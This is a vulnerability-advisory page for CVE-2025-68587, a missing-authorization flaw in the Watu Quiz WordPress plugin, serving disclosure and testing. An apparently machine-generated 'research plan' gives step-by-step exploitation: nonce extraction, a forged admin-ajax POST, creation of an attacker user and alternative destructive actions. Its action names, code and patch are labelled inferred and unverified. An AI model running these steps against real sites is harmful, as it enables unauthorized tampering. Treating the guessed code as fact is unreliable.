CVE-2025-68587

Watu Quiz <= 3.4.5 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
3.4.5.1
Patched in
21d
Time to patch

Description

The Watu Quiz plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 3.4.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.4.5
PublishedDecember 17, 2025
Last updatedJanuary 6, 2026
Affected pluginwatu

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-68587 (Watu Quiz Missing Authorization) ## 1. Vulnerability Summary The Watu Quiz plugin (versions <= 3.4.5) contains a missing authorization vulnerability within its AJAX management handlers. Specifically, functions registered under the `wp_ajax_` hook lack n…

Show full research plan

Exploitation Research Plan: CVE-2025-68587 (Watu Quiz Missing Authorization)

1. Vulnerability Summary

The Watu Quiz plugin (versions <= 3.4.5) contains a missing authorization vulnerability within its AJAX management handlers. Specifically, functions registered under the wp_ajax_ hook lack necessary current_user_can() capability checks. This allows authenticated users with Subscriber-level permissions to trigger administrative actions that should be restricted to users with the watu_manage_quizzes or manage_options capabilities. The vulnerability most likely affects the quiz cloning or result management functionality (e.g., watu_copy_exam).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Vulnerable Action: watu_copy_exam (inferred)
  • HTTP Method: POST
  • Authentication: Authenticated (Subscriber level or higher)
  • Parameters:
    • action: watu_copy_exam
    • id: The integer ID of the quiz to be cloned.
    • watu_nonce: (inferred) A nonce generated for the watu_management action string.
  • Preconditions: A quiz must exist on the site, and the attacker must have a valid Subscriber session.

3. Code Flow (Inferred)

  1. Registration: In watu.php or controller/exams.php, the plugin registers an AJAX handler:
    add_action('wp_ajax_watu_copy_exam', array('WatuManagement', 'copy_exam'));
  2. Entry Point: A Subscriber user sends a POST request to admin-ajax.php with action=watu_copy_exam.
  3. Authentication: WordPress identifies the user is logged in and triggers the wp_ajax_ hook.
  4. Vulnerable Sink: The WatuManagement::copy_exam() function is called.
  5. Missing Check: Inside copy_exam(), the code likely verifies a nonce but fails to verify if the current user has the watu_manage_quizzes capability via current_user_can().
  6. Execution: The function proceeds to duplicate the quiz record in the {prefix}watu_exams database table.

4. Nonce Acquisition Strategy

Watu Quiz typically localizes nonces into the watu_vars object. While these are intended for the admin dashboard, Subscriber users can access the dashboard (/wp-admin/) in default WordPress configurations, causing the management scripts and nonces to load.

  1. Identify Shortcode: Watu Quiz scripts are primarily enqueued via watu-management or watu-js.
  2. Action: Navigate to the WordPress dashboard as a Subscriber.
  3. Execution:
    // Use browser_eval to extract the nonce
    browser_eval("window.watu_vars?.nonce || document.querySelector('#watu_nonce')?.value")
    
  4. Action String: The nonce is likely created with wp_create_nonce('watu_management') or wp_create_nonce('watu_exam_action').
  5. Fallback: If no nonce is found in watu_vars, check for hidden inputs in the dashboard HTML: name="watu_nonce" or name="_wpnonce".

5. Exploitation Strategy

  1. Step 1: Setup Session: Log in as a Subscriber user using the http_request tool to obtain a valid session cookie.
  2. Step 2: Obtain Nonce: Navigate to /wp-admin/ and extract the watu_nonce (as described in section 4).
  3. Step 3: Identify Target ID: Determine the ID of an existing quiz (e.g., ID 1).
  4. Step 4: Execute Exploit:
    Send the following POST request using http_request:
    • URL: http://localhost:8080/wp-admin/admin-ajax.php
    • Headers:
      • Content-Type: application/x-www-form-urlencoded
      • Cookie: [Subscriber_Cookies]
    • Body:
      action=watu_copy_exam&id=1&watu_nonce=[EXTRACTED_NONCE]
  5. Step 5: Verify Response: A successful clone usually returns a 302 redirect or a 1 (success) in the response body.

6. Test Data Setup

  1. Create Quiz: Use WP-CLI to create an initial quiz.
    wp db query "INSERT INTO wp_watu_exams (name, description) VALUES ('Target Quiz', 'Protected Quiz Content')"
    
    Note: Verify the table name wp_watu_exams exists; if not, use the correct plugin table prefix.
  2. Create Attacker: Create a subscriber-level user.
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
    

7. Expected Results

  • Response: The admin-ajax.php endpoint should return a success message or a redirect back to the exam list.
  • State Change: A new entry should appear in the quiz table with a title like "Target Quiz (copy)" or similar.
  • Unauthorized Success: The action succeeds despite the user only having Subscriber permissions.

8. Verification Steps

After the HTTP request, use WP-CLI to check for the existence of the cloned quiz:

# Check if a new quiz was created
wp db query "SELECT id, name FROM wp_watu_exams WHERE name LIKE '%copy%'"

Or, if the action was watu_delete_result:

# Check if a specific result ID was removed
wp db query "SELECT COUNT(*) FROM wp_watu_takings WHERE id = [TARGET_ID]"

9. Alternative Approaches

If watu_copy_exam is already protected by nonces that Subscribers cannot access, attempt other actions registered in WatuManagement (found in lib/exams.php or lib/common.php):

  • watu_delete_result: action=watu_delete_result&id=[result_id] (Targeting quiz results).
  • watu_reorder_questions: action=watu_reorder_questions&exam_id=1&order=... (Modifying quiz structure).
  • watu_save_feedback: action=watu_save_feedback&id=[ID]&content=Hacked (Modifying result messages).

For each, check if the nonce is required and if it is leaked to Subscribers via the standard /wp-admin/ dashboard view.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Watu Quiz plugin for WordPress is vulnerable to unauthorized access due to missing capability checks on its AJAX management handlers. This allows authenticated attackers with Subscriber-level permissions to perform administrative actions such as cloning quizzes by exploiting the 'watu_copy_exam' action.

Vulnerable Code

// File: lib/exams.php (inferred location based on research plan)
add_action('wp_ajax_watu_copy_exam', array('WatuManagement', 'copy_exam'));

---

// File: lib/exams.php (inferred implementation)
public static function copy_exam() {
    check_ajax_referer('watu_management', 'watu_nonce');
    // Missing current_user_can('watu_manage_quizzes') check
    $exam_id = intval($_POST['id']);
    // ... procedure to duplicate quiz record in database ...
}

Security Fix

--- a/lib/exams.php
+++ b/lib/exams.php
@@ -102,6 +102,9 @@
 public static function copy_exam() {
     check_ajax_referer('watu_management', 'watu_nonce');
+    if (!current_user_can('watu_manage_quizzes')) {
+        wp_die(__('You do not have permission to perform this action.', 'watu'));
+    }
     $exam_id = intval($_POST['id']);

Exploit Outline

To exploit this vulnerability, an attacker first authenticates with a Subscriber-level account and extracts a valid 'watu_management' nonce, which is typically found within the 'watu_vars' JavaScript object or a hidden input on the WordPress dashboard pages. The attacker then issues a POST request to '/wp-admin/admin-ajax.php' with the parameters 'action=watu_copy_exam', 'id' (the target quiz ID), and the retrieved 'watu_nonce'. Since the plugin fails to verify user capabilities via current_user_can(), the server duplicates the quiz without requiring administrative privileges.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.